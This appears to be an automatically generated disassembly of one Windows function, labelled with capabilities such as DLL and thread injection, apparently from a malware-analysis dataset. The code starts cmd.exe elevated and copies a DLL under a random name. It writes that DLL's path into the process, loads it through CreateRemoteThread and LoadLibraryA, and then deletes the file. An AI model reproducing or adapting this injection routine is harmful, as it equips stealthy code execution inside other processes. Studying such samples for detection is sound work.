Function at 0x140001070
Capabilities:
Copy file
Create process on windows
Create thread
Delete file
Inject dll
Inject thread

Disassembly:
push rbp
push r15
lea rbp, [rsp - 0x58]
sub rsp, 0x158
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x40], rax
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
xorps xmm0, xmm0
mov dword [rsp + 0x40], 0x70
xor eax, eax
lea rcx, [rsp + 0x40]
movups xmmword [rsp + 0x44], xmm0
mov qword [rbp - 0x5c], rax
xor r15d, r15d
movups xmmword [rsp + 0x54], xmm0
mov dword [rbp - 0x54], eax
lea rax, str.runas
movups xmmword [rsp + 0x64], xmm0
mov qword [rsp + 0x50], rax
lea rax, str.cmd.exe
mov qword [rsp + 0x58], rax
movups xmmword [rsp + 0x74], xmm0
mov dword [rsp + 0x44], 0x40
movups xmmword [rbp - 0x7c], xmm0
mov qword [rsp + 0x48], r15
movups xmmword [rbp - 0x6c], xmm0
mov dword [rsp + 0x70], 5
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140001131
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_start_CMD:__d_n
call fcn.140001010
mov eax, 1
jmp 0x1400013cc
mov rcx, qword [rbp - 0x58]
mov edx, 0xffffffff
mov qword [rsp + 0x170], rbx
mov qword [rsp + 0x178], rsi
mov qword [rsp + 0x180], rdi
mov qword [rsp + 0x150], r14
call qword [sym.imp.USER32.dll_WaitForInputIdle]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov edx, eax
lea rcx, str.CMD_Process_ID:__d_n
mov esi, eax
call fcn.140001010
mov rbx, r15
lea r14, str.abcdefghijklmnopqrstuvwxy0123456789
movabs rdi, 0xea0ea0ea0ea0ea0f
nop
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, rdi
mul rcx
shr rdx, 5
imul rax, rdx, 0x23
sub rcx, rax
movzx eax, byte [rcx + r14]
mov byte [rbp + rbx - 0x50], al
inc rbx
cmp rbx, 0x7e
jb 0x140001190
mov r14, qword [rsp + 0x150]
lea r8, str..dll
mov edx, 5
lea rcx, [rbp + 0x2e]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r8d, r8d
lea rdx, [rbp - 0x50]
lea rcx, str..legitSoftware.dll
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x140001226
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, eax
lea r8, [rbp - 0x50]
lea rdx, str..legitSoftware.dll
lea rcx, str.Failed_to_copy_DLL_from__s_to__s:__d_n
call fcn.140001010
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400013b4
lea rdx, [rbp - 0x50]
lea rcx, str.DLL_copied_to:__s_n
call fcn.140001010
mov r8d, esi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x14000126a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, esi
lea rcx, str.Failed_to_open_process_with_ID__d:__d_n
mov r8d, eax
call fcn.140001010
jmp 0x14000139e
mov rbx, 0xffffffffffffffff
lea rax, [rbp - 0x50]
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x140001280
inc r8
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x1400012c6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_allocate_memory_in_target_process:__d_n
call fcn.140001010
jmp 0x140001395
lea rax, [rbp - 0x50]
nop word [rax + rax]
cmp byte [rax + rbx + 1], r15b
lea rbx, [rbx + 1]
jne 0x1400012d0
lea r9, [rbx + 1]
mov qword [rsp + 0x20], r15
lea r8, [rbp - 0x50]
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000130e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_write_to_process_memory:__d_n
call fcn.140001010
jmp 0x140001380
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.LoadLibraryA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x30], r15
xor r8d, r8d
mov r9, rax
mov dword [rsp + 0x28], r15d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
test rax, rax
jne 0x140001369
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_create_remote_thread:__d_n
call fcn.140001010
jmp 0x140001380
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rsi, qword [rsp + 0x178]
mov rbx, qword [rsp + 0x170]
mov rdi, qword [rsp + 0x180]
mov rcx, qword [rbp + 0x40]
xor rcx, rsp
call fcn.140001400
add rsp, 0x158
pop r15
pop rbp
ret